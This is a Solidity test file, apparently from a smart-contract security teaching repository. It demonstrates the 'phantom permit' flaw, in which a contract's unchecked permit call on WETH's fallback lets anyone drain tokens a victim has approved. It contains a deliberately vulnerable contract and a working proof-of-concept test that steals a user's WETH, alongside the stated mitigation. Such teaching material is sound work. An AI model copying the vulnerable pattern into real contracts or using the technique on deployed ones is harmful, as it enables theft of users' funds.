-
Notifications
You must be signed in to change notification settings - Fork 277
/
phantom-permit.sol
221 lines (181 loc) · 5.79 KB
/
phantom-permit.sol
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
import "forge-std/Test.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
/*
Name: Phantom function - Permit Function
Description:
Phantom function: Accepts any call to a function that it doesn't actually define, without reverting.
key:
1.Token that does not support EIP-2612 permit.
2.Token has a fallback function.
For example: WETH.
Mitigation:
Use SafeERC20's safePermit - Revert on invalid signature.
https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/token/ERC20/utils/SafeERC20.sol#LL89C14-L89C24
REF:
https://twitter.com/1nf0s3cpt/status/1671347058568237057
https://media.dedaub.com/phantom-functions-and-the-billion-dollar-no-op-c56f062ae49f
*/
contract ContractTest is Test {
VulnPermit VulnPermitContract;
WETH9 WETH9Contract;
function setUp() public {
WETH9Contract = new WETH9();
VulnPermitContract = new VulnPermit(IERC20(address(WETH9Contract)));
}
function testVulnPhantomPermit() public {
address alice = vm.addr(1);
vm.deal(address(alice), 10 ether);
vm.startPrank(alice);
WETH9Contract.deposit{value: 10 ether}();
WETH9Contract.approve(address(VulnPermitContract), type(uint256).max);
vm.stopPrank();
console.log(
"start WETH balanceOf this",
WETH9Contract.balanceOf(address(this))
);
VulnPermitContract.depositWithPermit(
address(alice),
1000,
27,
0x0,
0x0
);
uint wbal = WETH9Contract.balanceOf(address(VulnPermitContract));
console.log("WETH balanceOf VulnPermitContract", wbal);
VulnPermitContract.withdraw(1000);
wbal = WETH9Contract.balanceOf(address(this));
console.log("WETH9Contract balanceOf this", wbal);
}
receive() external payable {}
}
contract VulnPermit {
IERC20 public token;
constructor(IERC20 _token) {
token = _token;
}
function deposit(uint256 amount) public {
require(
token.transferFrom(msg.sender, address(this), amount),
"Transfer failed"
);
}
function depositWithPermit(
address target,
uint256 amount,
uint8 v,
bytes32 r,
bytes32 s
) public {
(bool success, ) = address(token).call(
abi.encodeWithSignature(
"permit(address,uint256,uint8,bytes32,bytes32)",
target,
amount,
v,
r,
s
)
);
require(success, "Permit failed");
require(
token.transferFrom(target, address(this), amount),
"Transfer failed"
);
}
function withdraw(uint256 amount) public {
require(token.transfer(msg.sender, amount), "Transfer failed");
}
}
// contract Permit {
// IERC20 public token;
// constructor(IERC20 _token) {
// token = _token;
// }
// function deposit(uint256 amount) public {
// require(
// token.transferFrom(msg.sender, address(this), amount),
// "Transfer failed"
// );
// }
// function depositWithPermit(
// address target,
// uint256 amount,
// uint8 v,
// bytes32 r,
// bytes32 s
// ) public {
// (bool success, ) = address(token).call(
// abi.encodeWithSignature(
// "permit(address,uint256,uint8,bytes32,bytes32)",
// target,
// amount,
// v,
// r,
// s
// )
// );
// require(success, "Permit failed");
// require(
// token.transferFrom(target, address(this), amount),
// "Transfer failed"
// );
// }
// function withdraw(uint256 amount) public {
// require(token.transfer(msg.sender, amount), "Transfer failed");
// }
// }
contract WETH9 {
string public name = "Wrapped Ether";
string public symbol = "WETH";
uint8 public decimals = 18;
event Approval(address indexed src, address indexed guy, uint wad);
event Transfer(address indexed src, address indexed dst, uint wad);
event Deposit(address indexed dst, uint wad);
event Withdrawal(address indexed src, uint wad);
mapping(address => uint) public balanceOf;
mapping(address => mapping(address => uint)) public allowance;
fallback() external payable {
deposit();
}
receive() external payable {}
function deposit() public payable {
balanceOf[msg.sender] += msg.value;
emit Deposit(msg.sender, msg.value);
}
function withdraw(uint wad) public {
require(balanceOf[msg.sender] >= wad);
balanceOf[msg.sender] -= wad;
payable(msg.sender).transfer(wad);
emit Withdrawal(msg.sender, wad);
}
function totalSupply() public view returns (uint) {
return address(this).balance;
}
function approve(address guy, uint wad) public returns (bool) {
allowance[msg.sender][guy] = wad;
emit Approval(msg.sender, guy, wad);
return true;
}
function transfer(address dst, uint wad) public returns (bool) {
return transferFrom(msg.sender, dst, wad);
}
function transferFrom(
address src,
address dst,
uint wad
) public returns (bool) {
require(balanceOf[src] >= wad);
if (
src != msg.sender && allowance[src][msg.sender] != type(uint128).max
) {
require(allowance[src][msg.sender] >= wad);
allowance[src][msg.sender] -= wad;
}
balanceOf[src] -= wad;
balanceOf[dst] += wad;
emit Transfer(src, dst, wad);
return true;
}
}